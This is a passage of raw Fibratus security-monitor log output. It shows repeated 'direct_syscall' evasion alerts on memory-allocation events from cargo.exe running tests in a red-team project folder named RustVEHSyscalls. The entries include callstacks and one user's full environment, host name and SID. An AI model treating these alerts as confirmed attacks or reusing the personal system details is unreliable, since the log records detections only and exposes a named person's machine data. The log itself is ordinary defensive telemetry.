C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904977 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1455346 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92eec000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680826356 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_libgit2_prerelease|0x7ff68080589f C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904979 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1455671 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92eeb000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680826356 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_libgit2_prerelease|0x7ff68080589f C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904981 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: 